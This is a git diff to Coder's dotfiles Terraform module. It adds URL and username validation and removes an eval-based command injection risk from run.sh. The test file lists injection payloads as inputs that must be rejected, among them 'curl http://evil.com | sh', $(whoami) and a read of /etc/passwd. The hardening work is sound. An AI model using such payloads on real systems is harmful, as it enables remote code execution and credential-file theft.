diff --git a/registry/coder/modules/dotfiles/README.md b/registry/coder/modules/dotfiles/README.md
index e35033a65..7d994c1e6 100644
--- a/registry/coder/modules/dotfiles/README.md
+++ b/registry/coder/modules/dotfiles/README.md
@@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
 module "dotfiles" {
   count    = data.coder_workspace.me.start_count
   source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.2.4"
   agent_id = coder_agent.example.id
 }
 ```
@@ -31,7 +31,7 @@ module "dotfiles" {
 module "dotfiles" {
   count    = data.coder_workspace.me.start_count
   source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.2.4"
   agent_id = coder_agent.example.id
 }
 ```
@@ -42,7 +42,7 @@ module "dotfiles" {
 module "dotfiles" {
   count    = data.coder_workspace.me.start_count
   source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.2.4"
   agent_id = coder_agent.example.id
   user     = "root"
 }
@@ -54,14 +54,14 @@ module "dotfiles" {
 module "dotfiles" {
   count    = data.coder_workspace.me.start_count
   source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.2.4"
   agent_id = coder_agent.example.id
 }
 
 module "dotfiles-root" {
   count        = data.coder_workspace.me.start_count
   source       = "registry.coder.com/coder/dotfiles/coder"
-  version      = "1.2.3"
+  version      = "1.2.4"
   agent_id     = coder_agent.example.id
   user         = "root"
   dotfiles_uri = module.dotfiles.dotfiles_uri
@@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_
 module "dotfiles" {
   count                = data.coder_workspace.me.start_count
   source               = "registry.coder.com/coder/dotfiles/coder"
-  version              = "1.2.3"
+  version              = "1.2.4"
   agent_id             = coder_agent.example.id
   default_dotfiles_uri = "https://github.com/coder/dotfiles"
 }
diff --git a/registry/coder/modules/dotfiles/main.test.ts b/registry/coder/modules/dotfiles/main.test.ts
index 8c82cd1e0..90fe91c83 100644
--- a/registry/coder/modules/dotfiles/main.test.ts
+++ b/registry/coder/modules/dotfiles/main.test.ts
@@ -12,20 +12,47 @@ describe("dotfiles", async () => {
     agent_id: "foo",
   });
 
-  it("default output", async () => {
+  it("default output is empty string", async () => {
     const state = await runTerraformApply(import.meta.dir, {
       agent_id: "foo",
     });
     expect(state.outputs.dotfiles_uri.value).toBe("");
   });
 
-  it("set a default dotfiles_uri", async () => {
-    const default_dotfiles_uri = "foo";
-    const state = await runTerraformApply(import.meta.dir, {
-      agent_id: "foo",
-      default_dotfiles_uri,
-    });
-    expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri);
+  it("accepts valid git URL formats", async () => {
+    const validUrls = [
+      "https://github.com/coder/dotfiles",
+      "https://github.com/coder/dotfiles.git",
+      "git@github.com:coder/dotfiles.git",
+      "git://github.com/coder/dotfiles.git",
+      "ssh://git@github.com/coder/dotfiles.git",
+    ];
+    for (const url of validUrls) {
+      const state = await runTerraformApply(import.meta.dir, {
+        agent_id: "foo",
+        dotfiles_uri: url,
+      });
+      expect(state.outputs.dotfiles_uri.value).toBe(url);
+    }
+  });
+
+  it("rejects invalid or malicious URLs", async () => {
+    const invalidUrls = [
+      "https://github.com/user/repo; curl http://evil.com | sh",
+      "https://github.com/$(whoami)/repo",
+      "https://github.com/`id`/repo",
+      "https://github.com/user/repo|cat /etc/passwd",
+      "file:///etc/passwd",
+      "not-a-valid-url",
+    ];
+    for (const url of invalidUrls) {
+      await expect(
+        runTerraformApply(import.meta.dir, {
+          agent_id: "foo",
+          dotfiles_uri: url,
+        }),
+      ).rejects.toThrow();
+    }
   });
 
   it("set custom order for coder_parameter", async () => {
diff --git a/registry/coder/modules/dotfiles/main.tf b/registry/coder/modules/dotfiles/main.tf
index 9dfb7240e..760f41811 100644
--- a/registry/coder/modules/dotfiles/main.tf
+++ b/registry/coder/modules/dotfiles/main.tf
@@ -36,19 +36,40 @@ variable "default_dotfiles_uri" {
   type        = string
   description = "The default dotfiles URI if the workspace user does not provide one"
   default     = ""
+
+  validation {
+    condition = (
+      var.default_dotfiles_uri == "" ||
+      can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri))
+    )
+    error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
+  }
 }
 
 variable "dotfiles_uri" {
   type        = string
   description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
+  default     = null
 
-  default = null
+  validation {
+    condition = (
+      var.dotfiles_uri == null ||
+      var.dotfiles_uri == "" ||
+      can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri))
+    )
+    error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
+  }
 }
 
 variable "user" {
   type        = string
   description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
   default     = null
+
+  validation {
+    condition     = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
+    error_message = "Must be a valid username without special characters."
+  }
 }
 
 variable "coder_parameter_order" {
@@ -73,6 +94,11 @@ data "coder_parameter" "dotfiles_uri" {
   description  = var.description
   mutable      = true
   icon         = "/icon/dotfiles.svg"
+
+  validation {
+    regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$"
+    error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
+  }
 }
 
 locals {
diff --git a/registry/coder/modules/dotfiles/run.sh b/registry/coder/modules/dotfiles/run.sh
index 912295899..a068aca79 100644
--- a/registry/coder/modules/dotfiles/run.sh
+++ b/registry/coder/modules/dotfiles/run.sh
@@ -5,6 +5,19 @@ set -euo pipefail
 DOTFILES_URI="${DOTFILES_URI}"
 DOTFILES_USER="${DOTFILES_USER}"
 
+# Validate DOTFILES_URI to prevent command injection (defense in depth)
+if [ -n "$DOTFILES_URI" ]; then
+  # shellcheck disable=SC2250
+  if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
+    echo "ERROR: DOTFILES_URI contains invalid characters" >&2
+    exit 1
+  fi
+  if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
+    echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
+    exit 1
+  fi
+fi
+
 # shellcheck disable=SC2157
 if [ -n "$${DOTFILES_URI// }" ]; then
   if [ -z "$DOTFILES_USER" ]; then
@@ -16,12 +29,17 @@ if [ -n "$${DOTFILES_URI// }" ]; then
   if [ "$DOTFILES_USER" = "$USER" ]; then
     coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
   else
-    # The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280
-    # eval echo ~coder -> "/home/coder"
-    # eval echo ~root  -> "/root"
+    if command -v getent > /dev/null 2>&1; then
+      DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
+    else
+      DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
+    fi
+    if [ -z "$DOTFILES_USER_HOME" ]; then
+      echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
+      exit 1
+    fi
 
-    CODER_BIN=$(which coder)
-    DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER")
-    sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
+    CODER_BIN=$(command -v coder)
+    sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
   fi
 fi